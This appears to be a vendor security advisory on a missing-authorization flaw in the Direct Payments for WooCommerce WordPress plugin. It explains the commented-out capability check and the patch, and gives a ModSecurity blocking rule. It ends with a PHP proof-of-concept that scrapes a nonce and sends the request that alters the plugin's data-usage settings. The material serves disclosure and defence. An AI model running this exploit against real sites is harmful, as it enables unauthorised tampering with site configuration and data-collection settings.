Atomic Edge analysis of CVE-2026-12966: The Direct Payments for WooCommerce plugin (versions < 2.5.3) contains a missing authorization vulnerability in the `digages_handle_data_usage_actions_help_improve` function. This function handles admin notice actions but fails to enforce a capability check, allowing unauthenticated attackers to modify plugin settings via a crafted request. The CVSS score is 5.3 (Medium).
The root cause lies in the `digages_handle_data_usage_actions_help_improve` function located in `ads/others/help-improve.php`. Although the function includes a nonce verification and a redirect, it does not verify that the current user has the `manage_options` capability. The original code (before patch) has the capability check commented out: `// if ( ! is_admin() || ! current_user_can( 'manage_options' ) ) { return; }`. This omission allows any visitor to trigger the action by supplying a valid nonce, which is generated and exposed in the admin notice template `ads/others/templates/help-improve.php`. The nonce is created with `wp_create_nonce('digages_data_usage_action_nonce')` and included in the URL for the "I Will Help" and "I Don't Help" buttons. An attacker can obtain this nonce by visiting the admin dashboard if they have any authenticated session, but since the nonce is also present in the HTML source of the notice, an unauthenticated attacker can extract it from a public page if the notice is displayed (e.g., via a shortcode or widget). The patch re-enables the capability check, ensuring only administrators can perform the action.
Exploitation occurs by sending a GET request to any admin page (e.g., `/wp-admin/`) with the parameters `digages_data_usage_action=yes` (or `no`) and a valid `_wpnonce`. The nonce can be obtained from the HTML source of the admin notice, which is displayed to all users if the notice conditions are met (e.g., when data usage options are not set). An unauthenticated attacker can first fetch a page where the notice appears, extract the nonce, then submit the request without authentication. The action updates the options `digages_wdpp_data_usage` and `digages_wdpp_data_usage_second`, potentially enabling or disabling data collection. This can lead to privacy violations or manipulation of plugin behavior.
The patch modifies `ads/others/help-improve.php` to restore the capability check: `if ( ! is_admin() || ! current_user_can( 'manage_options' ) ) { return; }`. This ensures that only users with the `manage_options` capability (typically administrators) can process the action. The before behavior allowed any user (including unauthenticated) to change the options if they possessed a valid nonce. After the patch, unauthorized users are blocked from executing the action, even with a valid nonce. The patch also includes other unrelated changes (version bump, coding standards), but the critical fix is the authorization check.
Impact: An attacker can modify the plugin's data usage settings, which control whether the plugin collects and shares website data. This could lead to unauthorized data collection or disruption of the plugin's functionality. While the vulnerability does not allow remote code execution or privilege escalation, it compromises the integrity of the plugin's configuration and may violate user privacy expectations. The CVSS score of 5.3 reflects the medium severity due to the limited impact on confidentiality and integrity.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-12966
SecRule REQUEST_URI "@rx ^/wp-admin/"
"id:202612966,phase:2,deny,status:403,chain,msg:'CVE-2026-12966 via Direct Payments for WooCommerce missing authorization',severity:'CRITICAL',tag:'CVE-2026-12966'"
SecRule ARGS_GET:digages_data_usage_action "@streq yes" "chain"
SecRule ARGS_GET:_wpnonce "@rx ^[a-f0-9]+$" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-12966 - Direct Payments for WooCommerce – Bank Transfer, Mobile Money, Crypto and Peer-to-Peer (P2P) Payments < 2.5.3 - Missing Authorization
// Configuration
$target_url = 'http://example.com'; // WordPress site URL
// Step 1: Fetch the admin notice page to extract the nonce
// The notice is displayed on admin pages; we try to access wp-admin without authentication.
// If the site allows unauthenticated access to wp-admin (e.g., due to other misconfigurations), the notice may appear.
// In many cases, the notice is also displayed on the login page or via shortcodes, but we attempt the admin page.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code != 200) {
die("Failed to fetch admin page. HTTP code: $http_coden");
}
// Extract nonce from the notice HTML. The nonce is in the URL for the buttons.
// Pattern: _wpnonce=abc123 in the href attribute.
if (preg_match('/_wpnonce=([a-f0-9]+)/i', $response, $matches)) {
$nonce = $matches[1];
echo "Found nonce: $noncen";
} else {
die("Nonce not found. The notice may not be displayed.n");
}
// Step 2: Send the request to trigger the action with the nonce
$exploit_url = $target_url . '/wp-admin/?digages_data_usage_action=yes&_wpnonce=' . $nonce;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "Exploit request sent. HTTP code: $http_coden";
if ($http_code == 200) {
echo "The action may have been executed. Check if the options were updated.n";
} else {
echo "Exploit may have failed.n";
}
?>